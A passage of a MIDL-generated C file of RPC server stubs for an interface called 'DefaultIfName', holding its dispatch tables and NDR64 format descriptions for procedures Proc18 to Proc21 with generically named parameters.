1239 | static const unsigned short DefaultIfName_FormatStringOffsetTable[] =
1240 | {
1241 | 0,
1242 | 54,
1243 | 108,
1244 | 162,
1245 | 210,
1246 | 264,
1247 | 324,
1248 | 378,
1249 | 426,
1250 | 474,
1251 | 522,
1252 | 582,
1253 | 642,
1254 | 684,
1255 | 732,
1256 | 786,
1257 | 840,
1258 | 876,
1259 | 924,
1260 | 972,
1261 | 1026,
1262 | 1080
1263 | };
1264 |
1265 |
1266 | static const RPC_DISPATCH_FUNCTION DefaultIfName_table[] =
1267 | {
1268 | NdrServerCall2,
1269 | NdrServerCall2,
1270 | NdrServerCall2,
1271 | NdrServerCall2,
1272 | NdrServerCall2,
1273 | NdrServerCall2,
1274 | NdrServerCall2,
1275 | NdrServerCall2,
1276 | NdrServerCall2,
1277 | NdrServerCall2,
1278 | NdrServerCall2,
1279 | NdrServerCall2,
1280 | NdrServerCall2,
1281 | NdrServerCall2,
1282 | NdrServerCall2,
1283 | NdrServerCall2,
1284 | NdrServerCall2,
1285 | NdrServerCall2,
1286 | NdrServerCall2,
1287 | NdrServerCall2,
1288 | NdrServerCall2,
1289 | NdrServerCall2,
1290 | 0
1291 | };
1292 | static const RPC_DISPATCH_TABLE DefaultIfName_v0_0_DispatchTable =
1293 | {
1294 | 22,
1295 | (RPC_DISPATCH_FUNCTION*)DefaultIfName_table
1296 | };
1297 |
1298 |
1299 | #endif /* defined(_M_AMD64)*/
1300 |
1301 |
1302 |
1303 | /* this ALWAYS GENERATED file contains the RPC server stubs */
1304 |
1305 |
1306 | /* File created by MIDL compiler version 8.01.0622 */
1307 | /* at Tue Jan 19 04:14:07 2038
1308 | */
1309 | /* Compiler settings for rpc.idl:
1310 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622
1311 | protocol : all , ms_ext, c_ext, robust
1312 | error checks: allocation ref bounds_check enum stub_data
1313 | VC __declspec() decoration level:
1314 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
1315 | DECLSPEC_UUID(), MIDL_INTERFACE()
1316 | */
1317 | /* @@MIDL_FILE_HEADING( ) */
1318 |
1319 | #if defined(_M_AMD64)
1320 |
1321 |
1322 |
1323 |
1324 | #if !defined(__RPC_WIN64__)
1325 | #error Invalid build platform for this stub.
1326 | #endif
1327 |
1328 |
1329 | #include "ndr64types.h"
1330 | #include "pshpack8.h"
1331 |
1332 |
1333 | typedef
1334 | NDR64_FORMAT_CHAR
1335 | __midl_frag113_t;
1336 | extern const __midl_frag113_t __midl_frag113;
1337 |
1338 | typedef
1339 | struct
1340 | {
1341 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;
1342 | struct
1343 | {
1344 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;
1345 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;
1346 | struct _NDR64_MEMPAD_FORMAT frag3;
1347 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;
1348 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;
1349 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;
1350 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;
1351 | } frag2;
1352 | }
1353 | __midl_frag112_t;
1354 | extern const __midl_frag112_t __midl_frag112;
1355 |
1356 | typedef
1357 | struct _NDR64_POINTER_FORMAT
1358 | __midl_frag111_t;
1359 | extern const __midl_frag111_t __midl_frag111;
1360 |
1361 | typedef
1362 | struct
1363 | {
1364 | struct _NDR64_PROC_FORMAT frag1;
1365 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1366 | struct _NDR64_PARAM_FORMAT frag3;
1367 | struct _NDR64_PARAM_FORMAT frag4;
1368 | }
1369 | __midl_frag110_t;
1370 | extern const __midl_frag110_t __midl_frag110;
1371 |
1372 | typedef
1373 | struct _NDR64_CONFORMANT_STRING_FORMAT
1374 | __midl_frag107_t;
1375 | extern const __midl_frag107_t __midl_frag107;
1376 |
1377 | typedef
1378 | struct _NDR64_POINTER_FORMAT
1379 | __midl_frag106_t;
1380 | extern const __midl_frag106_t __midl_frag106;
1381 |
1382 | typedef
1383 | NDR64_FORMAT_CHAR
1384 | __midl_frag105_t;
1385 | extern const __midl_frag105_t __midl_frag105;
1386 |
1387 | typedef
1388 | struct
1389 | {
1390 | struct _NDR64_PROC_FORMAT frag1;
1391 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1392 | struct _NDR64_PARAM_FORMAT frag3;
1393 | struct _NDR64_PARAM_FORMAT frag4;
1394 | struct _NDR64_PARAM_FORMAT frag5;
1395 | struct _NDR64_PARAM_FORMAT frag6;
1396 | }
1397 | __midl_frag104_t;
1398 | extern const __midl_frag104_t __midl_frag104;
1399 |
1400 | typedef
1401 | struct _NDR64_POINTER_FORMAT
1402 | __midl_frag101_t;
1403 | extern const __midl_frag101_t __midl_frag101;
1404 |
1405 | typedef
1406 | struct
1407 | {
1408 | struct _NDR64_PROC_FORMAT frag1;
1409 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1410 | struct _NDR64_PARAM_FORMAT frag3;
1411 | struct _NDR64_PARAM_FORMAT frag4;
1412 | struct _NDR64_PARAM_FORMAT frag5;
1413 | struct _NDR64_PARAM_FORMAT frag6;
1414 | }
1415 | __midl_frag97_t;
1416 | extern const __midl_frag97_t __midl_frag97;
1417 |
1418 | typedef
1419 | struct
1420 | {
1421 | struct _NDR64_PROC_FORMAT frag1;
1422 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1423 | struct _NDR64_PARAM_FORMAT frag3;
1424 | struct _NDR64_PARAM_FORMAT frag4;
1425 | struct _NDR64_PARAM_FORMAT frag5;
1426 | }
1427 | __midl_frag92_t;
1428 | extern const __midl_frag92_t __midl_frag92;
1429 |
1430 | typedef
1431 | struct
1432 | {
1433 | struct _NDR64_PROC_FORMAT frag1;
1434 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1435 | struct _NDR64_PARAM_FORMAT frag3;
1436 | struct _NDR64_PARAM_FORMAT frag4;
1437 | struct _NDR64_PARAM_FORMAT frag5;
1438 | }
1439 | __midl_frag88_t;
1440 | extern const __midl_frag88_t __midl_frag88;
1441 |
1442 | typedef
1443 | struct
1444 | {
1445 | struct _NDR64_PROC_FORMAT frag1;
1446 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1447 | struct _NDR64_PARAM_FORMAT frag3;
1448 | }
1449 | __midl_frag86_t;
1450 | extern const __midl_frag86_t __midl_frag86;
1451 |
1452 | typedef
1453 | struct
1454 | {
1455 | struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;
1456 | }
1457 | __midl_frag84_t;
1458 | extern const __midl_frag84_t __midl_frag84;
1459 |
1460 | typedef
1461 | struct _NDR64_POINTER_FORMAT
1462 | __midl_frag83_t;
1463 | extern const __midl_frag83_t __midl_frag83;
1464 |
1465 | typedef
1466 | struct
1467 | {
1468 | struct _NDR64_PROC_FORMAT frag1;
1469 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1470 | struct _NDR64_PARAM_FORMAT frag3;
1471 | struct _NDR64_PARAM_FORMAT frag4;
1472 | struct _NDR64_PARAM_FORMAT frag5;
1473 | struct _NDR64_PARAM_FORMAT frag6;
1474 | }
1475 | __midl_frag80_t;
1476 | extern const __midl_frag80_t __midl_frag80;
1477 |
1478 | typedef
1479 | NDR64_FORMAT_CHAR
1480 | __midl_frag79_t;
1481 | extern const __midl_frag79_t __midl_frag79;
1482 |
1483 | typedef
1484 | struct _NDR64_POINTER_FORMAT
1485 | __midl_frag76_t;
1486 | extern const __midl_frag76_t __midl_frag76;
1487 |
1488 | typedef
1489 | struct
1490 | {
1491 | struct _NDR64_PROC_FORMAT frag1;
1492 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1493 | struct _NDR64_PARAM_FORMAT frag3;
1494 | struct _NDR64_PARAM_FORMAT frag4;
1495 | struct _NDR64_PARAM_FORMAT frag5;
1496 | struct _NDR64_PARAM_FORMAT frag6;
1497 | }
1498 | __midl_frag73_t;
1499 | extern const __midl_frag73_t __midl_frag73;
1500 |
1501 | typedef
1502 | struct
1503 | {
1504 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;
1505 | struct
1506 | {
1507 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;
1508 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;
1509 | struct _NDR64_MEMPAD_FORMAT frag3;
1510 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;
1511 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;
1512 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;
1513 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;
1514 | } frag2;
1515 | }
1516 | __midl_frag67_t;
1517 | extern const __midl_frag67_t __midl_frag67;
1518 |
1519 | typedef
1520 | struct _NDR64_POINTER_FORMAT
1521 | __midl_frag66_t;
1522 | extern const __midl_frag66_t __midl_frag66;
1523 |
1524 | typedef
1525 | struct
1526 | {
1527 | struct _NDR64_PROC_FORMAT frag1;
1528 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1529 | struct _NDR64_PARAM_FORMAT frag3;
1530 | struct _NDR64_PARAM_FORMAT frag4;
1531 | }
1532 | __midl_frag65_t;
1533 | extern const __midl_frag65_t __midl_frag65;
1534 |
1535 | typedef
1536 | struct
1537 | {
1538 | struct _NDR64_PROC_FORMAT frag1;
1539 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1540 | struct _NDR64_PARAM_FORMAT frag3;
1541 | struct _NDR64_PARAM_FORMAT frag4;
1542 | struct _NDR64_PARAM_FORMAT frag5;
1543 | struct _NDR64_PARAM_FORMAT frag6;
1544 | struct _NDR64_PARAM_FORMAT frag7;
1545 | }
1546 | __midl_frag59_t;
1547 | extern const __midl_frag59_t __midl_frag59;
1548 |
1549 | typedef
1550 | struct
1551 | {
1552 | struct _NDR64_PROC_FORMAT frag1;
1553 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1554 | struct _NDR64_PARAM_FORMAT frag3;
1555 | struct _NDR64_PARAM_FORMAT frag4;
1556 | struct _NDR64_PARAM_FORMAT frag5;
1557 | struct _NDR64_PARAM_FORMAT frag6;
1558 | struct _NDR64_PARAM_FORMAT frag7;
1559 | }
1560 | __midl_frag52_t;
1561 | extern const __midl_frag52_t __midl_frag52;
1562 |
1563 | typedef
1564 | struct
1565 | {
1566 | struct _NDR64_PROC_FORMAT frag1;
1567 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1568 | struct _NDR64_PARAM_FORMAT frag3;
1569 | struct _NDR64_PARAM_FORMAT frag4;
1570 | struct _NDR64_PARAM_FORMAT frag5;
1571 | }
1572 | __midl_frag44_t;
1573 | extern const __midl_frag44_t __midl_frag44;
1574 |
1575 | typedef
1576 | struct
1577 | {
1578 | struct _NDR64_PROC_FORMAT frag1;
1579 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1580 | struct _NDR64_PARAM_FORMAT frag3;
1581 | struct _NDR64_PARAM_FORMAT frag4;
1582 | struct _NDR64_PARAM_FORMAT frag5;
1583 | struct _NDR64_PARAM_FORMAT frag6;
1584 | }
1585 | __midl_frag35_t;
1586 | extern const __midl_frag35_t __midl_frag35;
1587 |
1588 | typedef
1589 | struct
1590 | {
1591 | struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;
1592 | }
1593 | __midl_frag33_t;
1594 | extern const __midl_frag33_t __midl_frag33;
1595 |
1596 | typedef
1597 | struct _NDR64_POINTER_FORMAT
1598 | __midl_frag32_t;
1599 | extern const __midl_frag32_t __midl_frag32;
1600 |
1601 | typedef
1602 | struct
1603 | {
1604 | struct _NDR64_PROC_FORMAT frag1;
1605 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1606 | struct _NDR64_PARAM_FORMAT frag3;
1607 | struct _NDR64_PARAM_FORMAT frag4;
1608 | struct _NDR64_PARAM_FORMAT frag5;
1609 | struct _NDR64_PARAM_FORMAT frag6;
1610 | struct _NDR64_PARAM_FORMAT frag7;
1611 | }
1612 | __midl_frag28_t;
1613 | extern const __midl_frag28_t __midl_frag28;
1614 |
1615 | typedef
1616 | struct
1617 | {
1618 | struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;
1619 | }
1620 | __midl_frag26_t;
1621 | extern const __midl_frag26_t __midl_frag26;
1622 |
1623 | typedef
1624 | struct _NDR64_POINTER_FORMAT
1625 | __midl_frag25_t;
1626 | extern const __midl_frag25_t __midl_frag25;
1627 |
1628 | typedef
1629 | struct
1630 | {
1631 | struct _NDR64_PROC_FORMAT frag1;
1632 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1633 | struct _NDR64_PARAM_FORMAT frag3;
1634 | struct _NDR64_PARAM_FORMAT frag4;
1635 | struct _NDR64_PARAM_FORMAT frag5;
1636 | struct _NDR64_PARAM_FORMAT frag6;
1637 | }
1638 | __midl_frag22_t;
1639 | extern const __midl_frag22_t __midl_frag22;
1640 |
1641 | typedef
1642 | struct
1643 | {
1644 | struct _NDR64_PROC_FORMAT frag1;
1645 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;
1646 | struct _NDR64_PARAM_FORMAT frag3;
1647 | struct _NDR64_PARAM_FORMAT frag4;
1648 | struct _NDR64_PARAM_FORMAT frag5;
1649 | struct _NDR64_PARAM_FORMAT frag6;
1650 | }
1651 | __midl_frag12_t;
1652 | extern const __midl_frag12_t __midl_frag12;
1653 |
1654 | typedef
1655 | NDR64_FORMAT_UINT32
1656 | __midl_frag1_t;
1657 | extern const __midl_frag1_t __midl_frag1;
1658 |
1659 | static const __midl_frag113_t __midl_frag113 =
1660 | 0x5 /* FC64_INT32 */;
1661 |
1662 | static const __midl_frag112_t __midl_frag112 =
1663 | {
1664 | /* Struct_134_t */
1665 | {
1666 | /* Struct_134_t */
1667 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */
1668 | (NDR64_UINT8) 3 /* 0x3 */,
1669 | {
1670 | /* Struct_134_t */
1671 | 0,
1672 | 1,
1673 | 0,
1674 | 0,
1675 | 0,
1676 | 0,
1677 | 0,
1678 | 0
1679 | },
1680 | (NDR64_UINT8) 0 /* 0x0 */,
1681 | (NDR64_UINT32) 20 /* 0x14 */,
1682 | 0,
1683 | 0,
1684 | 0,
1685 | },
1686 | {
1687 | /* */
1688 | {
1689 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
1690 | 0x5, /* FC64_INT32 */
1691 | (NDR64_UINT8) 0 /* 0x0 */,
1692 | (NDR64_UINT16) 0 /* 0x0 */,
1693 | (NDR64_UINT32) 0 /* 0x0 */
1694 | },
1695 | {
1696 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
1697 | 0x4, /* FC64_INT16 */
1698 | (NDR64_UINT8) 0 /* 0x0 */,
1699 | (NDR64_UINT16) 0 /* 0x0 */,
1700 | (NDR64_UINT32) 0 /* 0x0 */
1701 | },
1702 | {
1703 | /* struct _NDR64_MEMPAD_FORMAT */
1704 | 0x90, /* FC64_STRUCTPADN */
1705 | (NDR64_UINT8) 0 /* 0x0 */,
1706 | (NDR64_UINT16) 2 /* 0x2 */,
1707 | (NDR64_UINT32) 0 /* 0x0 */
1708 | },
1709 | {
1710 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
1711 | 0x5, /* FC64_INT32 */
1712 | (NDR64_UINT8) 0 /* 0x0 */,
1713 | (NDR64_UINT16) 0 /* 0x0 */,
1714 | (NDR64_UINT32) 0 /* 0x0 */
1715 | },
1716 | {
1717 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
1718 | 0x5, /* FC64_INT32 */
1719 | (NDR64_UINT8) 0 /* 0x0 */,
1720 | (NDR64_UINT16) 0 /* 0x0 */,
1721 | (NDR64_UINT32) 0 /* 0x0 */
1722 | },
1723 | {
1724 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
1725 | 0x5, /* FC64_INT32 */
1726 | (NDR64_UINT8) 0 /* 0x0 */,
1727 | (NDR64_UINT16) 0 /* 0x0 */,
1728 | (NDR64_UINT32) 0 /* 0x0 */
1729 | },
1730 | {
1731 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
1732 | 0x93, /* FC64_END */
1733 | (NDR64_UINT8) 0 /* 0x0 */,
1734 | (NDR64_UINT16) 0 /* 0x0 */,
1735 | (NDR64_UINT32) 0 /* 0x0 */
1736 | }
1737 | }
1738 | };
1739 |
1740 | static const __midl_frag111_t __midl_frag111 =
1741 | {
1742 | /* *Struct_134_t */
1743 | 0x20, /* FC64_RP */
1744 | (NDR64_UINT8) 0 /* 0x0 */,
1745 | (NDR64_UINT16) 0 /* 0x0 */,
1746 | &__midl_frag112
1747 | };
1748 |
1749 | static const __midl_frag110_t __midl_frag110 =
1750 | {
1751 | /* Proc21 */
1752 | {
1753 | /* Proc21 */ /* procedure Proc21 */
1754 | (NDR64_UINT32) 17694784 /* 0x10e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, HasExtensions */
1755 | (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */
1756 | (NDR64_UINT32) 0 /* 0x0 */,
1757 | (NDR64_UINT32) 8 /* 0x8 */,
1758 | (NDR64_UINT16) 0 /* 0x0 */,
1759 | (NDR64_UINT16) 0 /* 0x0 */,
1760 | (NDR64_UINT16) 2 /* 0x2 */,
1761 | (NDR64_UINT16) 8 /* 0x8 */
1762 | },
1763 | {
1764 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
1765 | {
1766 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
1767 | 0x72, /* FC64_BIND_PRIMITIVE */
1768 | (NDR64_UINT8) 0 /* 0x0 */,
1769 | 0 /* 0x0 */, /* Stack offset */
1770 | (NDR64_UINT8) 0 /* 0x0 */,
1771 | (NDR64_UINT8) 0 /* 0x0 */
1772 | },
1773 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
1774 | },
1775 | {
1776 | /* arg_1 */ /* parameter arg_1 */
1777 | &__midl_frag112,
1778 | {
1779 | /* arg_1 */
1780 | 1,
1781 | 1,
1782 | 0,
1783 | 1,
1784 | 1,
1785 | 0,
1786 | 0,
1787 | 0,
1788 | 1,
1789 | 0,
1790 | 0,
1791 | 0,
1792 | 0,
1793 | (NDR64_UINT16) 0 /* 0x0 */,
1794 | 0
1795 | }, /* MustSize, MustFree, [in], [out], SimpleRef */
1796 | (NDR64_UINT16) 0 /* 0x0 */,
1797 | 8 /* 0x8 */, /* Stack offset */
1798 | },
1799 | {
1800 | /* long */ /* parameter long */
1801 | &__midl_frag113,
1802 | {
1803 | /* long */
1804 | 0,
1805 | 0,
1806 | 0,
1807 | 0,
1808 | 1,
1809 | 1,
1810 | 1,
1811 | 1,
1812 | 0,
1813 | 0,
1814 | 0,
1815 | 0,
1816 | 0,
1817 | (NDR64_UINT16) 0 /* 0x0 */,
1818 | 0
1819 | }, /* [out], IsReturn, Basetype, ByValue */
1820 | (NDR64_UINT16) 0 /* 0x0 */,
1821 | 16 /* 0x10 */, /* Stack offset */
1822 | }
1823 | };
1824 |
1825 | static const __midl_frag107_t __midl_frag107 =
1826 | {
1827 | /* *wchar_t */
1828 | {
1829 | /* *wchar_t */
1830 | 0x64, /* FC64_CONF_WCHAR_STRING */
1831 | {
1832 | /* *wchar_t */
1833 | 0,
1834 | 0,
1835 | 0,
1836 | 0,
1837 | 0,
1838 | 0,
1839 | 0,
1840 | 0
1841 | },
1842 | (NDR64_UINT16) 2 /* 0x2 */
1843 | }
1844 | };
1845 |
1846 | static const __midl_frag106_t __midl_frag106 =
1847 | {
1848 | /* *wchar_t */
1849 | 0x21, /* FC64_UP */
1850 | (NDR64_UINT8) 0 /* 0x0 */,
1851 | (NDR64_UINT16) 0 /* 0x0 */,
1852 | &__midl_frag107
1853 | };
1854 |
1855 | static const __midl_frag105_t __midl_frag105 =
1856 | 0x4 /* FC64_INT16 */;
1857 |
1858 | static const __midl_frag104_t __midl_frag104 =
1859 | {
1860 | /* Proc20 */
1861 | {
1862 | /* Proc20 */ /* procedure Proc20 */
1863 | (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */
1864 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */
1865 | (NDR64_UINT32) 14 /* 0xe */,
1866 | (NDR64_UINT32) 8 /* 0x8 */,
1867 | (NDR64_UINT16) 0 /* 0x0 */,
1868 | (NDR64_UINT16) 0 /* 0x0 */,
1869 | (NDR64_UINT16) 4 /* 0x4 */,
1870 | (NDR64_UINT16) 8 /* 0x8 */
1871 | },
1872 | {
1873 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
1874 | {
1875 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
1876 | 0x72, /* FC64_BIND_PRIMITIVE */
1877 | (NDR64_UINT8) 0 /* 0x0 */,
1878 | 0 /* 0x0 */, /* Stack offset */
1879 | (NDR64_UINT8) 0 /* 0x0 */,
1880 | (NDR64_UINT8) 0 /* 0x0 */
1881 | },
1882 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
1883 | },
1884 | {
1885 | /* arg_1 */ /* parameter arg_1 */
1886 | &__midl_frag105,
1887 | {
1888 | /* arg_1 */
1889 | 0,
1890 | 0,
1891 | 0,
1892 | 1,
1893 | 0,
1894 | 0,
1895 | 1,
1896 | 1,
1897 | 0,
1898 | 0,
1899 | 0,
1900 | 0,
1901 | 0,
1902 | (NDR64_UINT16) 0 /* 0x0 */,
1903 | 0
1904 | }, /* [in], Basetype, ByValue */
1905 | (NDR64_UINT16) 0 /* 0x0 */,
1906 | 8 /* 0x8 */, /* Stack offset */
1907 | },
1908 | {
1909 | /* arg_2 */ /* parameter arg_2 */
1910 | &__midl_frag106,
1911 | {
1912 | /* arg_2 */
1913 | 1,
1914 | 1,
1915 | 0,
1916 | 1,
1917 | 0,
1918 | 0,
1919 | 0,
1920 | 0,
1921 | 0,
1922 | 0,
1923 | 0,
1924 | 0,
1925 | 0,
1926 | (NDR64_UINT16) 0 /* 0x0 */,
1927 | 0
1928 | }, /* MustSize, MustFree, [in] */
1929 | (NDR64_UINT16) 0 /* 0x0 */,
1930 | 16 /* 0x10 */, /* Stack offset */
1931 | },
1932 | {
1933 | /* arg_3 */ /* parameter arg_3 */
1934 | &__midl_frag113,
1935 | {
1936 | /* arg_3 */
1937 | 0,
1938 | 0,
1939 | 0,
1940 | 1,
1941 | 0,
1942 | 0,
1943 | 1,
1944 | 1,
1945 | 0,
1946 | 0,
1947 | 0,
1948 | 0,
1949 | 0,
1950 | (NDR64_UINT16) 0 /* 0x0 */,
1951 | 0
1952 | }, /* [in], Basetype, ByValue */
1953 | (NDR64_UINT16) 0 /* 0x0 */,
1954 | 24 /* 0x18 */, /* Stack offset */
1955 | },
1956 | {
1957 | /* long */ /* parameter long */
1958 | &__midl_frag113,
1959 | {
1960 | /* long */
1961 | 0,
1962 | 0,
1963 | 0,
1964 | 0,
1965 | 1,
1966 | 1,
1967 | 1,
1968 | 1,
1969 | 0,
1970 | 0,
1971 | 0,
1972 | 0,
1973 | 0,
1974 | (NDR64_UINT16) 0 /* 0x0 */,
1975 | 0
1976 | }, /* [out], IsReturn, Basetype, ByValue */
1977 | (NDR64_UINT16) 0 /* 0x0 */,
1978 | 32 /* 0x20 */, /* Stack offset */
1979 | }
1980 | };
1981 |
1982 | static const __midl_frag101_t __midl_frag101 =
1983 | {
1984 | /* *long */
1985 | 0x20, /* FC64_RP */
1986 | (NDR64_UINT8) 12 /* 0xc */,
1987 | (NDR64_UINT16) 0 /* 0x0 */,
1988 | &__midl_frag113
1989 | };
1990 |
1991 | static const __midl_frag97_t __midl_frag97 =
1992 | {
1993 | /* Proc19 */
1994 | {
1995 | /* Proc19 */ /* procedure Proc19 */
1996 | (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */
1997 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */
1998 | (NDR64_UINT32) 6 /* 0x6 */,
1999 | (NDR64_UINT32) 40 /* 0x28 */,
2000 | (NDR64_UINT16) 0 /* 0x0 */,
2001 | (NDR64_UINT16) 0 /* 0x0 */,
2002 | (NDR64_UINT16) 4 /* 0x4 */,
2003 | (NDR64_UINT16) 8 /* 0x8 */
2004 | },
2005 | {
2006 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2007 | {
2008 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2009 | 0x72, /* FC64_BIND_PRIMITIVE */
2010 | (NDR64_UINT8) 0 /* 0x0 */,
2011 | 0 /* 0x0 */, /* Stack offset */
2012 | (NDR64_UINT8) 0 /* 0x0 */,
2013 | (NDR64_UINT8) 0 /* 0x0 */
2014 | },
2015 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
2016 | },
2017 | {
2018 | /* arg_1 */ /* parameter arg_1 */
2019 | &__midl_frag105,
2020 | {
2021 | /* arg_1 */
2022 | 0,
2023 | 0,
2024 | 0,
2025 | 1,
2026 | 0,
2027 | 0,
2028 | 1,
2029 | 1,
2030 | 0,
2031 | 0,
2032 | 0,
2033 | 0,
2034 | 0,
2035 | (NDR64_UINT16) 0 /* 0x0 */,
2036 | 0
2037 | }, /* [in], Basetype, ByValue */
2038 | (NDR64_UINT16) 0 /* 0x0 */,
2039 | 8 /* 0x8 */, /* Stack offset */
2040 | },
2041 | {
2042 | /* arg_2 */ /* parameter arg_2 */
2043 | &__midl_frag106,
2044 | {
2045 | /* arg_2 */
2046 | 1,
2047 | 1,
2048 | 0,
2049 | 1,
2050 | 0,
2051 | 0,
2052 | 0,
2053 | 0,
2054 | 0,
2055 | 0,
2056 | 0,
2057 | 0,
2058 | 0,
2059 | (NDR64_UINT16) 0 /* 0x0 */,
2060 | 0
2061 | }, /* MustSize, MustFree, [in] */
2062 | (NDR64_UINT16) 0 /* 0x0 */,
2063 | 16 /* 0x10 */, /* Stack offset */
2064 | },
2065 | {
2066 | /* arg_3 */ /* parameter arg_3 */
2067 | &__midl_frag113,
2068 | {
2069 | /* arg_3 */
2070 | 0,
2071 | 0,
2072 | 0,
2073 | 0,
2074 | 1,
2075 | 0,
2076 | 1,
2077 | 0,
2078 | 1,
2079 | 0,
2080 | 0,
2081 | 0,
2082 | 0,
2083 | (NDR64_UINT16) 0 /* 0x0 */,
2084 | 1
2085 | }, /* [out], Basetype, SimpleRef, UseCache */
2086 | (NDR64_UINT16) 0 /* 0x0 */,
2087 | 24 /* 0x18 */, /* Stack offset */
2088 | },
2089 | {
2090 | /* long */ /* parameter long */
2091 | &__midl_frag113,
2092 | {
2093 | /* long */
2094 | 0,
2095 | 0,
2096 | 0,
2097 | 0,
2098 | 1,
2099 | 1,
2100 | 1,
2101 | 1,
2102 | 0,
2103 | 0,
2104 | 0,
2105 | 0,
2106 | 0,
2107 | (NDR64_UINT16) 0 /* 0x0 */,
2108 | 0
2109 | }, /* [out], IsReturn, Basetype, ByValue */
2110 | (NDR64_UINT16) 0 /* 0x0 */,
2111 | 32 /* 0x20 */, /* Stack offset */
2112 | }
2113 | };
2114 |
2115 | static const __midl_frag92_t __midl_frag92 =
2116 | {
2117 | /* Proc18 */
2118 | {
2119 | /* Proc18 */ /* procedure Proc18 */
2120 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
2121 | (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */
2122 | (NDR64_UINT32) 6 /* 0x6 */,
2123 | (NDR64_UINT32) 40 /* 0x28 */,
2124 | (NDR64_UINT16) 0 /* 0x0 */,
2125 | (NDR64_UINT16) 0 /* 0x0 */,
2126 | (NDR64_UINT16) 3 /* 0x3 */,
2127 | (NDR64_UINT16) 8 /* 0x8 */
2128 | },
2129 | {
2130 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2131 | {
2132 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
2133 | 0x72, /* FC64_BIND_PRIMITIVE */
2134 | (NDR64_UINT8) 0 /* 0x0 */,
2135 | 0 /* 0x0 */, /* Stack offset */
2136 | (NDR64_UINT8) 0 /* 0x0 */,
2137 | (NDR64_UINT8) 0 /* 0x0 */
2138 | },
2139 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
2140 | },
2141 | {
2142 | /* arg_1 */ /* parameter arg_1 */
2143 | &__midl_frag105,
2144 | {
2145 | /* arg_1 */
2146 | 0,
2147 | 0,
2148 | 0,
2149 | 1,
2150 | 0,
2151 | 0,
2152 | 1,
2153 | 1,
2154 | 0,
2155 | 0,
2156 | 0,
2157 | 0,
2158 | 0,
2159 | (NDR64_UINT16) 0 /* 0x0 */,
2160 | 0
2161 | }, /* [in], Basetype, ByValue */
2162 | (NDR64_UINT16) 0 /* 0x0 */,
2163 | 8 /* 0x8 */, /* Stack offset */
2164 | },
2165 | {
2166 | /* arg_2 */ /* parameter arg_2 */
2167 | &__midl_frag113,
2168 | {
2169 | /* arg_2 */
2170 | 0,
2171 | 0,
2172 | 0,
2173 | 0,
2174 | 1,
2175 | 0,
2176 | 1,
2177 | 0,
2178 | 1,
2179 | 0,
2180 | 0,
2181 | 0,
2182 | 0,
2183 | (NDR64_UINT16) 0 /* 0x0 */,
2184 | 1
2185 | }, /* [out], Basetype, SimpleRef, UseCache */
